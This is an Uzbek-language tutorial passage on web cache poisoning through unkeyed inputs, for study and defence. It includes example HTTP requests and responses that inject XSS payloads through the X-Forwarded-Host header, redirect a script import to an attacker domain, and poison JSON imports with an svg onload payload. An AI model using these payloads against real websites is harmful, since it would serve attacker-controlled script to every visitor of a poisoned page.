Ushbu bo'limda WCP zaifliklari keshlar dizaynidagi umumiy kamchiliklar tufayli qanday yuzaga kelishini va ularni qanday ekspluatatsiya qilishni ko'rsatamiz. Qisqasi, saytlar kalitsiz kiritmani xavfsiz bo'lmagan tarzda boshqarsa va keyingi HTTP javoblarni keshlatsa, WCP'ga zaif.
Ekspluatatsiya qilishning eng oddiy WCP zaifligi — kalitsiz kiritma keshlanadigan javobda to'g'ri sanitizatsiyasiz aks etganda. Masalan, X-Forwarded-Host sarlavhasi Open Graph rasm URL'ini dinamik generatsiya qilish uchun ishlatilsa va bu sarlavha kalitsiz bo'lsa:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />Agar bu javob keshlansa, /en?region=uk ga kirgan barcha foydalanuvchiga bu XSS payload beriladi.
Ba'zi saytlar tashqi JavaScript fayllar kabi resurslarni import qilish uchun URL'larni kalitsiz sarlavhalar bilan dinamik generatsiya qiladi. Hujumchi tegishli sarlavha qiymatini o'zi boshqaradigan domenga o'zgartirsa, URL'ni o'z zararli JS fayliga yo'naltirishi mumkin:
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>Cookie'lar ko'pincha javobda kontentni dinamik generatsiya qilish uchun ishlatiladi (masalan Cookie: language=pl polyakcha versiyani yuklaydi). Agar cache key Cookie sarlavhasini o'z ichiga olmasa va bu javob keshlansa, barcha keyingi foydalanuvchilar til tanlovidan qat'i nazar polyakcha versiyani oladi.
Ba'zi saytlar bir nechta kalitsiz kiritmani manipulyatsiya qiladigan so'rov tuzilgandagina zaif bo'ladi. Masalan, sayt X-Forwarded-Proto: http kelsa, o'ziga HTTPS redirect generatsiya qilsa, buni dinamik URL zaifligi bilan birlashtirib, foydalanuvchilarni zararli URL'ga yo'naltiradigan keshlanadigan javob generatsiya qilish mumkin.
Ba'zan saytlar o'zlari haqida juda ko'p ma'lumot berib, o'zlarini zaifroq qiladi. Age va Cache-Control sarlavhalari kesh qachon tozalanishini aytadi — bu hujumchiga payloadni aynan qachon yuborishni biladi. Vary sarlavhasi qaysi qo'shimcha sarlavhalar cache key'ning qismi ekanini ko'rsatadi (masalan User-Agent) — buni ma'lum foydalanuvchilar to'plamini nishonga olish uchun ishlatish mumkin.
Agar sayt kalitsiz sarlavhalar bilan fayllar import qilsa, hujumchi zararli fayl (nafaqat JS, balki JSON ham) import qildirishi mumkin. Masalan, hujumchi keshni quyidagi payloadni o'z ichiga olgan JSON import qiladigan javob bilan zaharlashi mumkin: {"someProperty" : "<svg onload=alert(1)>"}. Agar sayt bu qiymatni dinamik kod bajaradigan sink'ga uzatsa, payload jabrlanuvchi brauzerida bajariladi.
Ba'zan hujumchi bir nechta usulni zanjirlab, dastlab ekspluatatsiya qilib bo'lmaydigan qo'shimcha zaiflik qatlamlarini ochadi.